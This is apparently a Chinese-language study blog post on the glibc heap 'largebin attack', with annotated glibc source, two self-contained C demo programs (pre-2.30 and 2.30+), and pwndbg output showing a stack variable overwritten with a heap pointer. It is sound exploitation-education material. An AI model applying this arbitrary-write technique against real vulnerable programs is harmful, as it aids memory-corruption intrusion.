0x00

一直想要学习_IO_FILE攻击却一直没有腾出时间去学,就先记录一下经常与之结合使用的largebin attack来督促一下自己吧
参考博客
浅析Large_bins_attack在高低版本的利用-先知社区
好好说话之Large Bin Attack_largebin attack-CSDN博客

0x01 关于largebins

Glibc 的 largebins 共 63 个(索引 64–126),每个 bin 负责管理一个连续的大小区间
每一个largebinunsorted bin一样都是双向链表。其中的所有chunk是从大到小排序的,由fd指针和bk指针链接。而相同size的chunk又分为一个组,同组中,只有代表chunk的fd_nextsizebk_nextsize有效,其余chunk的这两个指针为0。代表chunk间通过fd_nextsizebk_nextsize链接,而最小size的组的代表chunk的fd_nextsize指向最大size的bin的代表chunk,最大size的bin的代表chunk的bk_nextsize也指向最小size的组的代表chunk。一个组的最后一个chunk的fd指向更小组的第一个chunk(如果有,无则指向bin表头)。代表chunk的bk指向上一个更大组的代表chunk(如果有,无则指向bin表头)。如此形成一个循环双向链表。结构大体如下所示(存在部分缺少,见图后补充

上图中chunk12的fd指向chunk20,chunk20的bk指向chunk12,fd指向chunk30,没有画出。
再补充一张图

注意,与fdbk指针不同,fd_nextsizebk_nextsize指向的并不是chunk的mem地址,而是堆头地址,即chunk的mem地址减去0x10。

0x02 glibc2.30以前的largebin attack

我们根据how2heap有关largebin attack的源码,精简一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>

int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
unsigned long* chunk1 = (unsigned long*)malloc(0x380);
malloc(0x20);
unsigned long* chunk2 = (unsigned long*)malloc(0x500);
malloc(0x20);
unsigned long* chunk3 = (unsigned long*)malloc(0x500);
malloc(0x20);
free(chunk1);
free(chunk2);
malloc(0x90);
free(chunk3);
chunk2[-1] = 0x3f1; //size
chunk2[0] = 0; //fd
chunk2[2] = 0; //fd_nextsize
chunk2[1] = (unsigned long)(&stack_var1 - 2); //bk,指向stack_var1-0x10的位置
chunk2[3] = (unsigned long)(&stack_var2 - 4); //bk_nextsize,指向stack_var2-0x20的位置
malloc(0x90);
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}

因为largebin attack更多的在较高版本使用,这里调试就不放了(绝对不是因为笔者本地glibc版本太高自己编译低版本编译半天没搞好),具体的调试过程看参考博客即可。
先申请了三个大的chunk123,中间夹着的0x20的chunk是为了防止大的chunk被top chunk合并。然后free掉chunk1和chunk2,两个都进入了unsorted bin
接着malloc一个0x90的堆,这时候发生了很多事。程序依次从fastbins–>unsorted bin–>smallbins–>largebins–>topchunk的顺序扫描,在unsorted bin找到了chunk1(unsorted bin是头部插入尾部取出的,FIFO),属于smallbins,放入smallbins,发现chunk2大小属于largebins,放入largebins。然后扫描smallbins,发现chunk1,大于需求,就分割出一块0xa0的chunk来供malloc所需,然后chunk1剩余部分放入unsorted bin等待分配。
接下来,free掉chunk3,chunk3也加入unsorted bin。这时候再修改chunk2,使其size小于chunk3,并修改其bk指针和bk_nextsize指针为两个目标值的相应偏移处。如图所示

然后再malloc一块内存,与上一次malloc一样,这次malloc也会干很多事。继续将chunk1放入smallbins,然后chunk3进入largebins。然后扫描smallbins,分割chunk1,然后chunk1再放入unsorted bin听候发落
在chunk3进入largebins的时候,会进行双链表的指针维护更新。相关的部分源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while((unsigned long)size < fwd->size){
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
} //这里检测的是从unsorted_bins里提取出的堆块是否小于large_bins里最近被释放的堆块的大小,如果小于,就将fwd向前移,也就是与比它更小的堆块对比
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;//相等的话,就往后排列
else
{
victim->fd_nextsize = fwd; //这里,victim是从unsorted_bin提取出来的堆块,fwd是最近被释放进large_bin的堆块,分别对应我们的chunk3,chunk2
victim->bk_nextsize = fwd->bk_nextsize; //在此前,chunk2->bk_nextsize已经被我们设置为了stack_var2-0x20的地址,所以chunk3的bk_nextsize指向它
fwd->bk_nextsize = victim; //chunk2->bk_nextsize指向chunk3
victim->bk_nextsize->fd_nextsize = victim; //chunk3->bk_nextsize = stack_var2 - 0x20,也就是说我们已经伪造了一个堆块,(stack_var2-0x20)->fd_nexitsize就是stack_var2的地址,将该地址赋值为chunk3的堆头地址
}
bck = fwd->bk; //这里bck被赋值为chunk2的bk,我们设置成了stack_var1-0x10,所以bck成了我们stack_var1-0x10这个虚假的chunk
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

实际上就是在largebins中找到一个不大于新进入chunk(也就是这里的chunk3)的chunk(也就是chunk2),然后根据largebins的结构更新fd,bk,fd_nextsize,bk_nextsize指针。这里更新并没有做相关安全检查,具体见上述注释。
会将chunk3的地址赋给chunk2的bk_nextsize(已经被我们篡改为stack_var2-0x20),以及chunk3的bk_nextsize指向chunk2的bk_nextsize(已经被我们篡改为stack_var2-0x20)。后续还会对bkfd指针进行操作,最后会使得chunk2的bk(已经被我们篡改为stack_var1-0x10)指向chunk3。
结果就是,如果把stack_var2当做是一个指针,则这个指针指向了chunk3;如果把stack_var1当做一个指针,则也指向chunk3

0x03 glibc2.30+ 的largebin attack

在更高版本,glibc对与fd_nextsize以及bk_nextsize增加了检查,部分源码如下

1
2
3
4
5
6
7
8
9
10
11
12
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) //以上面的chunk2为例的话,那就是检测stack_var2-0x20的fd_nextsize是否指向chunk2。不是的话就报错
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)// 同理,如果stack_var1-0x10的fd是否指向chunk2,不是就报错
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

经过这个检查,我们上述的攻击手法就不好使了。但是我们知道largebin attack在glibc高版本仍然屹立不倒。那么新的攻击点在哪呢?如下部分源码

1
2
3
4
5
6
7
8
9
10
11
assert (chunk_main_arena (bck->bk));//断言bck->bk属于main_arena
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; //这里的fwd可以粗略的认为是large_bin归属的main_arena
bck = bck->bk; //bck成了main_arena的bk指针指向的堆块,也就是最小size组的代表chunk
victim->fd_nextsize = fwd->fd; //我们申请的小堆块的fd_nextsize指向了main_arena的fd指针,也就是所在的large_bin的最大的堆块(最大size组的代表chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize;// 插入chunk的bk_nextsize指向最大chunk的bk_nextsize,也就是原来的最小chunk
//攻击点,没有检测,所以我们可以篡改最大堆块的bk_nextsize,所以当我们加入的chunk比最小chunk还小时仍然可以攻击
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; //先进行右值运算,如果在没有进行修改的情况下,等式可以化简为fwd->fd->bk_nextsize = victim,也就是最大堆块的bk_nextsize指向我们的最小堆块victim
// 这时候如果最大chunk的bk_nextsize已经改成了我们的target,那么target也就指向了我们可以控制的chunk
}

现在我们自己写个demo来调试一下验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>

int main()
{
unsigned long target = 0;
unsigned long* chunk1 = (unsigned long*)malloc(0x428); // 最大chunk
malloc(0x20);
unsigned long* chunk2 = (unsigned long*)malloc(0x418); //攻击用chunk
malloc(0x20);
free(chunk1);
malloc(0x438); //将chunk1放入largebin
free(chunk2);
chunk1[3] = (unsigned long)(&target - 4); //修改最大chunk的bk_nextsize,指向target-0x20的位置
malloc(0x438); //将chunk2放入largebin完成攻击
fprintf(stderr, "target (%p): %p\n", &target, (unsigned long*)target);
return 0;
}

先申请一大一小的两个较大的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x430 (with flag bits: 0x431)

Allocated chunk | PREV_INUSE
Addr: 0x5555555596c0
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x5555555596f0
Size: 0x420 (with flag bits: 0x421)

Allocated chunk | PREV_INUSE
Addr: 0x555555559b10
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x555555559b40
Size: 0x204c0 (with flag bits: 0x204c1)

然后free掉chunk1

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
all: 0x555555559290 —▸ 0x7ffff7e1ace0 (main_arena+96) ◂— 0x555555559290
smallbins
empty
largebins
empty

然后malloc一个0x438的chunk,将chunk1放入largebin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Free chunk (largebins) | PREV_INUSE
Addr: 0x555555559290
Size: 0x430 (with flag bits: 0x431)
fd: 0x7ffff7e1b0d0
bk: 0x7ffff7e1b0d0
fd_nextsize: 0x555555559290
bk_nextsize: 0x555555559290

Allocated chunk
Addr: 0x5555555596c0
Size: 0x30 (with flag bits: 0x30)

Allocated chunk | PREV_INUSE
Addr: 0x5555555596f0
Size: 0x420 (with flag bits: 0x421)

Allocated chunk | PREV_INUSE
Addr: 0x555555559b10
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x555555559b40
Size: 0x440 (with flag bits: 0x441)

Top chunk | PREV_INUSE
Addr: 0x555555559f80
Size: 0x20080 (with flag bits: 0x20081)

pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
0x400-0x430: 0x555555559290 —▸ 0x7ffff7e1b0d0 (main_arena+1104) ◂— 0x555555559290

然后free掉chunk2并修改chunk1的bk_nextsize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Free chunk (largebins) | PREV_INUSE
Addr: 0x555555559290
Size: 0x430 (with flag bits: 0x431)
fd: 0x7ffff7e1b0d0
bk: 0x7ffff7e1b0d0
fd_nextsize: 0x555555559290
bk_nextsize: 0x7fffffffde80

Allocated chunk
Addr: 0x5555555596c0
Size: 0x30 (with flag bits: 0x30)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5555555596f0
Size: 0x420 (with flag bits: 0x421)
fd: 0x7ffff7e1ace0
bk: 0x7ffff7e1ace0

Allocated chunk
Addr: 0x555555559b10
Size: 0x30 (with flag bits: 0x30)

Allocated chunk | PREV_INUSE
Addr: 0x555555559b40
Size: 0x440 (with flag bits: 0x441)

Top chunk | PREV_INUSE
Addr: 0x555555559f80
Size: 0x20080 (with flag bits: 0x20081)

pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
all: 0x5555555596f0 —▸ 0x7ffff7e1ace0 (main_arena+96) ◂— 0x5555555596f0
smallbins
empty
largebins
0x400-0x430: 0x555555559290 —▸ 0x7ffff7e1b0d0 (main_arena+1104) ◂— 0x555555559290

如上所示,chunk1的bk_nextsize的值变为了target的地址-0x20=0x7fffffffde80
再次malloc一个0x438的chunk,将chunk2放入largebin,完成攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Free chunk (largebins) | PREV_INUSE
Addr: 0x555555559290
Size: 0x430 (with flag bits: 0x431)
fd: 0x5555555596f0
bk: 0x7ffff7e1b0d0
fd_nextsize: 0x555555559290
bk_nextsize: 0x5555555596f0

Allocated chunk
Addr: 0x5555555596c0
Size: 0x30 (with flag bits: 0x30)

Free chunk (largebins) | PREV_INUSE
Addr: 0x5555555596f0
Size: 0x420 (with flag bits: 0x421)
fd: 0x7ffff7e1b0d0
bk: 0x555555559290
fd_nextsize: 0x555555559290
bk_nextsize: 0x7fffffffde80

Allocated chunk
Addr: 0x555555559b10
Size: 0x30 (with flag bits: 0x30)

Allocated chunk | PREV_INUSE
Addr: 0x555555559b40
Size: 0x440 (with flag bits: 0x441)

Top chunk | PREV_INUSE
Addr: 0x555555559f80
Size: 0x20080 (with flag bits: 0x20081)

pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
0x400-0x430: 0x555555559290 —▸ 0x5555555596f0 —▸ 0x7ffff7e1b0d0 (main_arena+1104) ◂— 0x555555559290

我们查看攻击效果

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx  0x7fffffffde80
0x7fffffffde80: 0x0000000000000000 0x00007fffffffdec0
0x7fffffffde90: 0x00007fffffffdfd8 0x0000555555555261
0x7fffffffdea0: 0x00005555555596f0 0x00005555555592a0
0x7fffffffdeb0: 0x0000555555559700 0xea19bde1a8c35100
0x7fffffffdec0: 0x0000000000000001 0x00007ffff7c29d90
0x7fffffffded0: 0x0000000000000000 0x00005555555551a9
0x7fffffffdee0: 0x00000001ffffdfc0 0x00007fffffffdfd8
0x7fffffffdef0: 0x0000000000000000 0x69534c199618d9ea
0x7fffffffdf00: 0x00007fffffffdfd8 0x00005555555551a9
0x7fffffffdf10: 0x0000555555557da8 0x00007ffff7ffd040

可以看到target(0x7fffffffdea0)已经指向了0x00005555555596f0,也就是我们的chunk2。后续便可以控制chunk2,来达成修改target指针的指向内容

0x04 largebin attack与其他攻击的结合应用

由于largebin attack可以修改指针指向,能够实现任意地址写入堆地址的特性,常作为堆攻击的跳板,以下仅仅举几个例子
一是与tcache poisoning结合,或者辅助劫持tcache_perthread_struct;二是与fastbin attack结合,修改global_max_fast的值,来实现更大size范围的fastbin attack;三是与FSOP结合,破坏 _IO_list_all 或伪造 _IO_FILE 结构的 vtable 指针……
以后可能会开几篇博客记录一下(咕咕?
再挖个坑,准备入坑学习_IO_FILE咕咕?